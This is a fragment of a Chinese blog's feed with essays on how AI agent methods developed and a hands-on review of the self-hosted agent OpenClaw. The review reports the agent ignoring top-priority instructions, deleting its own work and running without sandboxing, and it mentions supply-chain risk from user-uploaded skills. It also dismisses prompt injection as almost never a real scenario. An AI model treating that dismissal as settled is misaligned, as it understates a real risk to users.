bits问题，设计者并没有提前考虑好类型强制转化的额外影响。</p><p>正如演讲结尾所说：<strong>“We have only scratched the surface”</strong> — 这才刚刚开始。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;在前两天的BlacksetHat Asia 2026上，@浅蓝和@1ue分享一个非常有趣的议题，Java中的GhostBits漏洞&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;探究深度非常深，影响范围非常之广，内容非常有意思&lt;/p&gt;</summary>
    
    
    
    
    <category term="java" scheme="https://lorexxar.cn/tags/java/"/>
    
    <category term="ghostbits" scheme="https://lorexxar.cn/tags/ghostbits/"/>
    
  </entry>
  
  <entry>
    <title>AI.Re.(3) - AI到底变了什么？为什么突然井喷？</title>
    <link href="https://lorexxar.cn/2026/04/07/reai3/"/>
    <id>https://lorexxar.cn/2026/04/07/reai3/</id>
    <published>2026-04-07T10:11:37.000Z</published>
    <updated>2026-04-07T10:17:40.402Z</updated>
    
    <content type="html"><![CDATA[<p>继续接着之前的内容来写，从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。</p><p>这篇文章讲到的这些概念不是第一天诞生，我相信很多朋友也实打实的在使用这些方法论，那这篇文章让我们重新回顾一下这些概念，也伴随的感受一些，<strong>为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？</strong></p><a id="more"></a><h1 id="什么是Skill？"><a href="#什么是Skill？" class="headerlink" title="什么是Skill？"></a>什么是Skill？</h1><p>在前两篇文章当中，我曾经提到过，AI有两个非常重要的时间节点，第一个是<strong>chatgpt的初诞生</strong>，它意味着AI与人类交流沟通的屏障解开了，我们可以通过对话和大模型沟通并让他理解我们的需求。</p><ul><li>chatgpt打通了人和AI的壁垒</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071816300.png" alt="img"></p><p>在这个时间节点，大部分场景我们<strong>只能依赖prompt</strong>，提示词工程来一定程度的定向提高大模型的能力，虽然我觉得并没有什么卵用。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071816608.png" alt="img"></p><p>第二个关键的时间节点，<strong>gpt4在2023年初推出了Plugins功能</strong>，并且在2023年6月推出了<strong>Function Calling函数调用功能</strong>。</p><p>这意味着给给大脑接上了手和脚，大模型不再受限于自己提前训练的数据集，他可以<strong>主动调用其他工具收集信息</strong>，尤其是联网功能，大幅度提高了大模型的实用价值。</p><ul><li>ChatGPT Plugins的诞生</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071816455.png" alt="img"></p><p>其实plugins和Function Calling功能，就是Skill的雏形。</p><p><strong>Skill的本质其实就是，把某些特定的场景和解决方案收束成一个skill（技能），给予他一个触发条件，只有触发该条件才会读取这个Skill的内容并按照要求执行下去</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071816556.png" alt="img"></p><p>Skill的概念可以说是大模型应用非常核心的一部分，首先它拥有完全符合AI应用理念的特征，还能契合当前AI应用的实际场景。</p><ul><li><strong>Skill本身独立于大模型外，不需要训练基础LLM</strong>，即插即用，还可以长期积累，符合AI学习成长的理念</li><li>只有触发才加载对应的skill，既<strong>节省不必要的上下文浪费</strong>，又可以在有需求的情况下及时引入必要的提示词和流程要求</li></ul><p>一个非常有名的Skill叫做Skill Creator，调用它会辅助你构建一个Skill</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071816325.png" alt="img"></p><p>现在主流的AI应用中，一般都对Skill做了专门的调度单元逻辑，甚至现在很多内置的功能都会通过skill的方式实现。</p><p>比如说<strong>claude code和codex</strong>，内置了<strong>十几种skill涉及大量和底层交互的场景</strong>，会在必要时触发</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071816924.png" alt="img">)<img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817370.png" alt="img"></p><p><strong>现代的skill范式</strong>也越来越趋近于标准，从输入到执行流程，内置脚本，最后到输出的内容，都有相应的要求。</p><p>我个人觉得skill最大的问题是，可拓展性不够强，当你的skill少的时候，你描述触发的场景大体上比较稳定，但是如果skill太多，llm就很难判定触发了，经常会自己动手，某种程度上也符合人脑会混乱的事实。</p><p>比较理想的AI应用往往不会安装太多的Skill，是现在的一种解决方案。</p><h1 id="什么是Agent？"><a href="#什么是Agent？" class="headerlink" title="什么是Agent？"></a>什么是Agent？</h1><p>如果说skill对于AI应用更多是理念上的进步，<strong>Agent和相应的概念更像是使用方法的进步</strong>。</p><p>在GPT-4诞生没几个月，在Plugins和Function Calling的基础上，社区爆发了大量的衍生项目，其中最有代表性的就是<strong>AutoGPT</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817395.png" alt="img"></p><p>AutoGPT这类的应用引出了一个进阶的AI概念就是，<strong>我们可以把任务目标抽象成好多个步骤，由好多个独立的实体相互配合完成</strong>。</p><p>你可以理解为，每个独立的AI agent就是一个独立的人，原本我们是让一个人完成一个工作，这对这个人的能力就有非常高的要求。</p><p>现在我们用很多人分工去完成任务，可以把一个任务拆解成很多步骤，每个agent独立完成自己的事情。</p><p>有个形容我觉得比较贴切，<strong>Agent就是让AI从工具变成了员工</strong>。</p><p>Agent概念同样解决了LLM的几个大痛点</p><ul><li><strong>上下文不够长</strong>，即便现在达到上下文百万级别依旧困扰着AI，让一个Agent独立负责一个任务，可以最大程度的减少无效的上下文冗余，针对性更强的完成任务</li><li><strong>AI幻觉问题</strong>，减少无效信息干扰，Agent接收到独立的任务条件和目标，执行方向性会更强，互相也不会干扰</li></ul><p>最早的多Agent应用，大多数都是让多个Agent一起做事情，那会儿非常经典的多AI辩论，看过不少。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817780.png" alt="img"></p><p>让多Agent真正发光发热的破局点，就是工作流概念的诞生</p><h1 id="什么是工作流？"><a href="#什么是工作流？" class="headerlink" title="什么是工作流？"></a>什么是工作流？</h1><p>工作流诞生的契机来的很快，在多Agent的理念出现之后，大家发现<strong>单纯让Agent独立完成任务的价值并不大</strong>，Agent本身容易失控，<strong>早期使用AI的普遍方案，都是让AI对同一个内容多次分析</strong>，最后取比例更好的那一个。</p><p>在23年底到24年，许多耳熟能详的AI平台诞生了，比如说Dify、Coze，他们都践行了Workflow的工作流理念。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817698.png" alt="img"></p><p>工作流的核心理念是</p><p><strong>将任务提前分成多个步骤，分别给每个步骤制定好输入、输出、需要完成的事情，最后再将任务的结果汇总并输入到下一个步骤</strong>。</p><p>在工作流的理念中，可以<strong>提前规划好步骤</strong>，也可以由AI规划划分步骤。</p><p><strong>推进工作流</strong>，可以是类似于Dify这种程序推进Agent完成任务，也可以是由一个负责任Agent来推进任务，单个步骤的任务也可以独立启动多个Agent完成。</p><p><strong>工作流诞生的价值</strong>一方面是<strong>完美利用多Agent的优势</strong>，独立Agent节省上下文，目标需求清晰互不干扰</p><p>另一方面是相比依赖Agent本身的执行结果，<strong>工作流的产出会更强势</strong>，这意味着<strong>工业化程度更高</strong>，那应用的结果效果也会更好。</p><p>像Claude Code现在就支持<strong>用工作流的方式驱动多Agent完成特定的任务</strong>，<strong>Codex可以通过Skill驱动工作流任务启动</strong>。</p><p>在历经了上面的3个关键节点之后，<strong>AI的基础方法论已经成型</strong>，但实际上距离现在真正的AI成熟化还有很长的距离，其中依旧有几个标志性的事件</p><h1 id="慢思考AI的诞生"><a href="#慢思考AI的诞生" class="headerlink" title="慢思考AI的诞生"></a>慢思考AI的诞生</h1><p>最早的AI模型都是基于快思考，看到问题直接输出答案，尤其是以GPT为代表，GPT-4模型最经典的问题就是偷懒，最经常的场景就是GPT-4会持续的问你问题。</p><p>在2024年底，<strong>慢思考模型的经典范例openai的o1模型和Deepseek R1模型</strong>，尤其是Deepseek，我个人感觉是从DS开始，我们经常使用的AI都会展示自己的思考过程。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817117.png" alt="img"></p><p>慢思考AI诞生，对工作流本身造成了一定的降级，因为AI本身的思维能力足够强大，<strong>强流程的工作流某种程度上来说也成了有能力的AI的枷锁</strong>。这个话题我想在后面的文章中再讨论。</p><p>对于AI应用的意义来说，<strong>慢思考AI引领了后续AI大模型本身能力的提升方向</strong>，早期AI Agent你需要提出更明确的需求方式方法，现在的如果使用能力很强的Opus4.6这类大模型，你可以完全提出简单的需求，他会分析你的需求并结合实际场景完成任务，效果反而越来越好。</p><h1 id="MCP是什么？"><a href="#MCP是什么？" class="headerlink" title="MCP是什么？"></a>MCP是什么？</h1><p>除了大模型本身的能力上升以外，关于方法论的变化也有，那就是MCP.</p><p>在2024年底，Anthropic提出了AI大模型的标准协议，就是MCP。其实单纯按照定位来说，MCP有点儿类似于Skill，但是MCP的针对性更强，<strong>MCP提出了一套双向通信的标准协议，允许AI大模型通过MCP协议无缝接入任何其他APP</strong>。</p><p>比较经典的通过mcp操作数据库，操作三方软件，很多公司为了拥抱MCP时代还推出了专门的MCP接口，这样AI在接入很多能力的时候就不用被迫应对原来的风控策略了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817752.png" alt="img"></p><p><strong>MCP的标准化对于AI Agent的长远发展有着非常特殊的意义</strong>，他倒逼厂家自己推出官方MCP，让Agent的触手延伸的更远。</p><h3 id="GraphRAG-的出现"><a href="#GraphRAG-的出现" class="headerlink" title="GraphRAG 的出现"></a>GraphRAG 的出现</h3><p>除了大模型的能力和AI方法论的演变，在24年诞生的GraphRAG则是在另一个维度上提升了AI能力的深度。</p><p><strong>在GraphRAG之前，AI Agent应用的知识库，大部分是传统的RAG系统</strong>。</p><p>传统RAG的核心特质是，会把一篇文章切分成很多部分，然后把他们向量化，通过片段的向量相似度搜索相关的片段输入到AI，实现某种程度上的记忆，最大的问题是<strong>这种方案非常强烈的依赖切片的质量</strong>，或者这个问题的答案干脆就没有相似度，他的效果就会大大下降，这个问题曾经贯穿早期试图做AI搜索的许多方案，令人望而生却。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817164.png" alt="img"></p><p><strong>GraphRAG采用了图的基础结构，将目标转化为知识图谱</strong>，节点和关系作为核心，然后GraphRAG基于图算法把每一段信息内容总结为一个独立的社区，社区有大的总结，在子社区内又存在不同的节点和关系以供搜索。</p><p>这种基于图的逻辑结构在近几年的许多工业化产物上践行，他最大的优势就是在一个非常庞大的数据中可以快速的检索相关性，给数据降了维度。</p><p><strong>GraphRAG理念的普及大幅度提升了现在AI大模型的长期记忆能力</strong>，而且这种深度记忆的理念在许多AI应用上都有更深层次的应用。结构化长期记忆让AI变的更具有成长性，也正是在这个基础上，后续衍生了更多关于培养AI的方法论，不再依赖模型本身的训练和微调，而是在使用方法的角度做培养。</p><h1 id="Claude-md？"><a href="#Claude-md？" class="headerlink" title="Claude.md？"></a>Claude.md？</h1><p>相比于大模型和应用原理上的进步，对于用户来说，方法论会有更直接的影响，比较有代表性的一个东西就是Claude.md，这个方法论被称之为“<strong>声明式智能体约束</strong>”。</p><p>很有趣的是这并不是Claude创造的概念，他最早诞生于家喻户晓的Cursor ，在AI代码编辑器Cursor 诞生之后，不可避免的衍生出了一个问题就是，<strong>如何让Cursor在每次编辑代码的时候，遵守开发者的基础要求和规范呢</strong>？</p><p>于是Cursor采用了.cursorrules的提示词文件，放在项目的根目录，Cursor每次执行任务都会先阅读这个文件作为高层级的记忆标准。</p><p>那又过了一段时间后Claude Code自然也沿用了这套方案，他们完成了分级的Claude.md。</p><p><strong>你可以按照不同位置的Claude.md实现不同的场景定制化，比如说用户级，项目级，还可以多人维护开发要求</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817384.png" alt="img"></p><p>相比大模型本身的记忆，Claude.md这种提示词文件的主观性和强制性更强，还可以让AI自己总结并写入Claude.md。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202604071817454.png" alt="img"></p><p>这其实是一件非常有意思的事情：最初，顶级的 AI 科学家们（OpenAI、Anthropic）在拼命研究复杂的 JSON Schema、Function Calling 格式、复杂的 Agent 编排逻辑；但最后真正在一线写代码的程序员们发现，<strong>“在根目录扔一个 README 格式的 txt 文件给 AI 看”</strong> 才是最简单、最优雅、最符合直觉的解法。</p><h1 id="为什么2025年AI应用井喷？"><a href="#为什么2025年AI应用井喷？" class="headerlink" title="为什么2025年AI应用井喷？"></a>为什么2025年AI应用井喷？</h1><p>其实回顾以上的几个AI的方法论，最早的诞生于23年和GPT4一起诞生，最晚的基本上也不会脱离24年底，也就是说其实AI现在的主流方法论在24年底就已经形成了。</p><p><strong>那为什么直到2025年年底，AI应用井喷式增长</strong>？</p><p>其实答案也很简单，就像移动互联网的爆发是3G/4G网络+APP生态+手机相关技术+时代发展集合一样，<strong>AI应用等来了大模型的能力上升（慢思考），等来了成本的暴跌（Deepseek蒸馏带来的启发），等来了AI操作的边界拓展（MCP），等来了成熟的方法论（Skill和多Agent）</strong>，所以导致了今天的结果。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;继续接着之前的内容来写，从通用大模型诞生到后续的几年里，除了大模型本身的能力一直在提升，使用大模型的方法论也在不停的变化。&lt;/p&gt;
&lt;p&gt;这篇文章讲到的这些概念不是第一天诞生，我相信很多朋友也实打实的在使用这些方法论，那这篇文章让我们重新回顾一下这些概念，也伴随的感受一些，&lt;strong&gt;为什么这些方法论使得AI突然变得强力可靠？为什么在2025年年底I应用大量井喷？&lt;/strong&gt;&lt;/p&gt;</summary>
    
    
    
    
    <category term="ai" scheme="https://lorexxar.cn/tags/ai/"/>
    
    <category term="agent" scheme="https://lorexxar.cn/tags/agent/"/>
    
  </entry>
  
  <entry>
    <title>AI.Re.(2) - OpenClaw到底为什么爆火？</title>
    <link href="https://lorexxar.cn/2026/03/11/reai2/"/>
    <id>https://lorexxar.cn/2026/03/11/reai2/</id>
    <published>2026-03-11T08:47:17.000Z</published>
    <updated>2026-04-07T10:26:17.934Z</updated>
    
    <content type="html"><![CDATA[<p>上篇博客中，我分享了最近关于AI的见闻和感受。本来按照流程，我应该用几篇博客的时间介绍一下最近接触和学习到的东西。</p><p><strong>但最主要的是，感觉如果不先聊聊OpenClaw，这东西很可能就要过气了。</strong></p><a id="more"></a><p><font style="color:rgb(51, 51, 51);">Peter Steinberger作为独立开发者，由于非常喜欢Claude，在几个月之前发布了开源的自托管助手Clawdbot，短短几个月火爆全网，引发了非常大的热情狂潮，</font><strong><font style="color:rgb(51, 51, 51);">很多人把OpenClaw称为Web4.0时代的开端。</font></strong></p><p><strong>Clawdbot，后来改名Moltbot，现在又改名叫Openclaw</strong>，最近最有名的称呼应该叫做龙虾。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111648282.png" alt=""></p><p>无论你是否认可后面我的理解和感受，但我必须强烈的告诉你。</p><p><strong><font style="color:#ED740C;">绝对不要把OpenClaw部署在生产环境/或者自己的实际使用主机上，一定要放在一个独立的环境中运行。</font></strong></p><p>其实<strong>Openclaw并不是第一个依托于LLM的主动代理助手</strong>，这个类似的概念我1年前就听过，之前Meta收购的Manus AI，Manus可能也不是最早的，而且很多人说Manus根本没有成品。但这个概念很早就有了。</p><p>如果对Claude Code比较熟悉的朋友应该知道，<strong>其实Claude Cli和OpenClaw本质上没有什么区别</strong>，换言之，从设计理念的角度，<strong><font style="color:#ED740C;">OpenClaw就是没有任何安全限定的Claude Code。</font></strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650147.png" alt=""></p><p>从这个角度来说，OpenClaw的技术突破似乎没什么价值，客观来说，OpenClaw是个人维护+ai编程+接受了大量pr，代码质量堪忧，我相信如果用过一段时间的OpenClaw都会知道到底有多难用！</p><h2 id="OpenClaw的爆火真的是偶然吗？"><a href="#OpenClaw的爆火真的是偶然吗？" class="headerlink" title="OpenClaw的爆火真的是偶然吗？"></a>OpenClaw的爆火真的是偶然吗？</h2><p>OpenClaw应该是第一个，<strong>完全免费开源，并且已经进入可用阶段的托管式AI助手</strong>，这也是OpenClaw爆火的起因，在2025年年底，AI使用的方法论已经基本成型，<strong>无论是工作流、agent，还是mcp、skill</strong>，又或者是自己实现的记忆、上下文，AI的使用方和大模型基座的强依赖进行了脱离。</p><p>这意味着，除了大模型本身的能力在进化，AI的应用也开始趋于成熟，<strong>OpenClaw使用的完全托管式AI的设计理念，解放大模型的所有能力，允许AI以助手的方式完成任何事情。</strong></p><p>对于熟练使用Claude Code的朋友来说，或许OpenClaw的创新点太过于小，问题又多，但是对于非技术的用户来说，Claude的安全限制多，OpenClaw门槛低上手快，还可以以IM的方式沟通调教。</p><h2 id="国内爆火的理由？"><a href="#国内爆火的理由？" class="headerlink" title="国内爆火的理由？"></a>国内爆火的理由？</h2><p>这自然就成了爆火的理由，当然在国内OpenClaw如此爆火，我个人觉得腾讯功不可没，腾讯可以说是第一时间跟进了OpenClaw，并且<strong>围绕OpenClaw在腾讯云做了活动，还可以一键部署轻应用服务器，几十块钱+几十分钟就可以搞出一个独立的AI助手</strong>，然后你就可以“快乐”的养龙虾了。</p><p>腾讯云这价格基本上等同于史低了，而且还可以一键部署OpenClaw。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650879.png" alt=""></p><p>相比腾讯云的方案来说，其他国内的Claw，有些虽然进行了一定的国内化魔改更好用，但是客观来说确实太贵了，就比如<strong>国内最早的定制化Claw之一Kimi Claw</strong>。</p><p>必须要开启Allegretto会员才可以使用该功能，而这个级别的会员按照连续包年来算也要159每月，虽然这个价格对于Coding plan来说并不算很贵，但对于没有相应需求只是想试试AI助手的用户来说，着实有些太贵了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650029.png" alt=""></p><p>除此之外，最值得期待的应该是腾讯要推出的Qclaw</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650312.png" alt=""></p><p>如果亲自上手过OpenClaw，应该会明白，<strong>这东西和IM的相性是好不好用很重要的一环</strong>，像飞书虽然接口众多，但是平时日常没人用飞书，而且OpenClaw操作飞书文档有点儿问题总是修不好。</p><p>ps：我想用OpenClaw做个日报，一个图片他改了2天还改不好</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650413.png" alt=""></p><p>我是一个微信的深度用户，曾经以各种方式运营过微信机器人4-5年，但是微信bot却一年比一年严格，我用的好几个项目都被封了，相关的接口也被关闭，我的机器人微信被封了不知道多少次，微信之前唯一机器人接入方式是企业微信，不但需要企业认证，实用性也非常差。</p><p>虽然下面这个图是玩梗，但我真希望是真的，这代表我的很多需求都可以托管实现了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650109.png" alt=""></p><h2 id="抛开营销，OpenClaw有价值吗？"><a href="#抛开营销，OpenClaw有价值吗？" class="headerlink" title="抛开营销，OpenClaw有价值吗？"></a>抛开营销，OpenClaw有价值吗？</h2><p>我想这是每一个想要了解OpenClaw的用户都想知道的问题，我不敢说我真的很了解，因为我也依旧处于初体验的阶段，但我也分享下我的想法。</p><p>我知道所有关于OpenClaw的营销号，都在反复的推行一个概念，就是“养龙虾”。</p><ul><li><strong>什么是“养龙虾”？</strong></li></ul><p>用技术的方式，通俗易通的讲，就是通<strong>过长期的反馈强化矫正，来培养一个更成熟，更有实用价值的AI助</strong>手，方法也不复杂，就是构建Skill，管理长期记忆，塑造AI那一套方法。</p><p>这套方法论并不新颖，在Claude Code中，长期管理Claude.md就是一种培养AI的方案，上篇文章里我提到Claude Code的开发团队可以长期使用AI编程，其中之一就是，他们会<strong>把部分最高指令长期培养在Claude.md</strong>，AI编程就会原来越好用，同理。</p><ul><li><strong>听起来好像很靠谱？！</strong></li></ul><p>虽然原理很靠谱，主流的AI工具也都是这样的做法，但很可惜的是，<strong><font style="color:#ED740C;">OpenClaw并不是一个成熟的项目</font></strong>。</p><p>前面说过，OpenClaw是一个个人开发的项目，开发<font style="color:rgb(51, 51, 51);">Peter还靠这个项目加入了openai</font>，虽然程序员也是厉害的程序员，但是短短几个月维护一个不知道多少人关注的开源项目，只能靠大量的AI开发+大量的PR。好处是OpenClaw更新快，坏处是<strong>短短几个月OpenClaw就成了超大屎山代码</strong>，不说设计上的问题，光是代码和开发上的问题就频频出问题。</p><p>有一些特别具体的例子，我分享几个。</p><ul><li><strong>开发和管理上的问题</strong></li></ul><p><strong><font style="color:#ED740C;">2026.3.2版本，OpenClaw更新新版本，在没有任何提醒和预告的基础上，把默认权限降低到了message，只允许OpenClaw发送信息不能执行命令</font></strong></p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650654.png" alt=""></p><p>更新完之后，OpenClaw瞬间任何执行命令的权限都没有，要知道OpenClaw存在的价值就是可以开放全权限在环境内操作，设计好的功能都无法正常使用。</p><p><strong>最关键的是OpenClaw他自己也没有做相应的记忆</strong>，询问他发生了什么他自己不知道，我花了好长时间研究才发现是新更新版本的问题。</p><ul><li><strong>默认的配置权限混乱</strong></li></ul><p>如果操作OpenClaw抓取图片发送给我，大概率会失败。</p><p>我花了一段时间研究修复，最后发现原因也很搞笑。</p><p>如果让OpenClaw操作浏览器抓取图片，或者用某种mcp生成图片，这个图片的默认保存位置是/tmp，但是OpenClaw的默认权限，他只能操作自己项目空间目录下，也就是/root/.openclaw/workspace/目录下的问题。所以是他没有权限操作。</p><p><strong>没有读取tmp目录的权限很奇怪，OpenClaw自己对这件事情也没有预设也很奇怪。</strong></p><ul><li><strong>上下文过长，记忆混乱</strong></li></ul><p>其实我不知道这个问题谁是因谁是果，可能是因为上下文过长才导致记忆混乱，也可能是因为OpenClaw本身记忆管理有问题所以导致其他衍生问题。</p><p>我稍微和OpenClaw提一些小需求，他的token消耗就是几百万几百万的了，哪怕是维持平时的cron任务，不做任何主动思考任务都有几十万的消耗。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650179.png" alt=""></p><p>这带来的衍生问题非常严重，我问了周围的朋友，大体上都遇到了和我同样的问题，就是感觉大模型变傻了很多，我用的是GLM5，刚出来的时候都可以接近opus4.5的效果了。</p><p>但是在OpenClaw他理解不了我的需求的时候非常多，我让他在飞书文档里上传图片，断断续续的和他沟通了2天，还是没实现，大量的无意义思考，很多犯过的错误我多次指正之后就忘记了。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650434.png" alt=""></p><p>而且我自己的感觉是，这个问题和我的实现方式关系不大，<strong>即便我多次要求他调用官方sdk，写python脚本实现，并在skill中要求必须调用python脚本实现，这个问题依然没有得到完美解决。</strong></p><p>甚至如果使用的时间够长，那么<strong><font style="color:#ED740C;">被我设置为最高指令的部分，他都不会遵守。</font></strong></p><p>这让我意识到一个问题，不管问题的起因在哪，<strong>OpenClaw实际上是没有能力承担类似Claude的自主项目开发能力的</strong>，这也意味着所谓的养”龙虾”其实从根上暂时是不成立的，OpenClaw不会因为短期的培养变的更好，比起养来说，探索OpenClaw的能力边界，等他或者类似的工具更新，是更靠谱的选择。</p><p>ps: 或许你看到这里会说可以用第三方记忆方案替换OpenClaw，我也仍旧在研究学习中，但侧面也证明了OpenClaw本身的问题。</p><p>对了<strong><font style="color:#ED740C;">如果你是希望用OpenClaw开发项目，我还是建议你多了解下Claude的最佳实践。</font></strong></p><ul><li><strong>安全性？</strong></li></ul><p>随着OpenClaw爆火，这几天关于OpenClaw的安全问题被屡屡提及，尤其是安全圈相关，大家都恨不得蹭这个热度。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650094.png" alt=""></p><p>虽然漏洞列表里可以写出密密麻麻的一大堆OpenClaw漏洞，安全威胁提醒可以写出密密麻麻好多条，但实际上OpenClaw并没有可以直接利用的远程漏洞，在安全圈<strong><font style="color:#ED740C;">如果不能直接利用，我们更愿意把他称之为安全风险。</font></strong></p><p>其实谈论到OpenClaw的安全风险，首先要讨论的说不定应该是OpenClaw本身的安全限制，首先OpenClaw的设计理念和Claude就有差异，O<strong>penClaw的核心是托管，完全无人工参与</strong>，那么你给OpenClaw本身做安全风险限制，最后麻烦的只有自己，但<strong>反过来他的风险也同样来自于自己。</strong></p><p>ps：我也遇到过类似的事情，我让他一直改脚本，改着改着他给自己删了重写，变成了一坨。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650760.png" alt=""></p><p>提示词注入个人觉得其实算是有点儿无妄之谈了，这个场景几乎不存在，先不说能不能操作微信，谁会把接到IM接到自己的常用微信上，还给了对外的操作权限呢？</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650840.png" alt=""></p><p>一定要说的话，我觉得最早期听说过的一个故事还算相对比较有可能性，Clawdbot最早爆火是自动炒币助手，还会直接把web界面开到公网去，可以通过公网入口对话取得和炒币平台交互的密钥，我不知道是不是真的有这种傻子，但<strong><font style="color:#ED740C;">把OpenClaw装到自己的生产力工具上，我还是觉得第一个要担心的是他把你机器给格了</font></strong>。</p><p>另一个算是问题比较大的，就是供<strong>应链攻击。</strong></p><p>现在的AI工具已经处于Skill时代了，给ai赋予Skill能力就像教会人学会对应的技能，AI会获得更多的能力去做更多事情，那对应的skill市场当然也就应运而生，OpenClaw官方用的是Clawhub。</p><p>他最大的特点就是，和其他包管理器一样，用户可以自由上传自己的skill，当然随之而来的供应链攻击就会很多。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650459.png" alt=""></p><p>感觉有点儿太老生常谈了，随便下skill和以前随便下包是一样的。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650642.png" alt=""></p><h2 id="OpenClaw到底有什么用？"><a href="#OpenClaw到底有什么用？" class="headerlink" title="OpenClaw到底有什么用？"></a>OpenClaw到底有什么用？</h2><p>相比OpenClaw的缺点和问题来说，<strong><font style="color:#ED740C;">其实OpenClaw到底有什么，到底能做到什么，是一个需要实践探索的问题。</font></strong></p><p>客观来说，有更好的工具珠玉在前，<strong>OpenClaw最大的优势很难撇得开门槛低。</strong></p><p>或者说OpenClaw最大的价值就是，<strong><font style="color:#ED740C;">你可以以极低的成本操作服务器来完成任务</font></strong>，而这个任务目前来讲最好的实现逃不开爬虫。</p><p>比如说80%的人都看过的OpenClaw案例，<strong>推荐股票</strong></p><p>说白了就是，<strong>读取股票数据喂给大模型，然后根据你的仓位，固定时间提醒你操作</strong>（应该没人真的把自动交易交给OpenClaw吧）。</p><p>本质就是一个后台运行的爬虫，建立在OpenClaw上完成<strong>这个需求门槛极低</strong>，不需要会写代码，会阐述需求即可。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111650540.png" alt=""></p><p>我自己用OpenClaw玩了一周多的时间，<strong><font style="color:#ED740C;">其中唯一一个稳定运行没出过毛病的也是爬虫</font></strong>，帮我监控nga热门帖子推送给我。</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111651780.png" alt=""></p><p>主要是OpenClaw和系统的crontab联动的很好，定时任务很稳定，操作浏览器访问页面爬取内容，可以靠大模型完全自己实现并持续优化，最后内容还可以让大模型自己再处理一遍。</p><p>这一套下来最方便的点就是，<strong>如果我遇到什么问题，我可以直接通过IM交互提需求解决，不像自己写爬虫要不停的修复处理反爬等各种问题。</strong></p><p>当然这里我发现有一个非常坑的误区就是，虽然OpenClaw非常方便，不需要你直接写代码，但是客观实际遇到的问题非常之多，这也是<strong><font style="color:#ED740C;">我不看好OpenClaw可以由一个完全不懂技术的人养好的原因之一</font></strong>。</p><p>举一个最好的例子就是之前那个图片的例子，我在和OpenClaw沟通的时候他完全理解不了为什么图片没有发出来，查了好多资料才发现是OpenClaw的安全限制，类似的事情出现非常多，<strong>完全不懂技术的朋友很难理解问题出在哪，只能不停的提出需求无法解决之后，被迫放弃。</strong></p><p>ps：我让他去小红书搜索帖子，他一直说mcp启动不了，实际上是他没有正确按照这个mcp的文档启动</p><!-- 这是一张图片，ocr 内容为： --><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202603111651709.png" alt=""></p><p>截止目前为止，我仍然在调校OpenClaw帮我写公众号，效果依旧不理想，还在努力中</p><h2 id="写在最后"><a 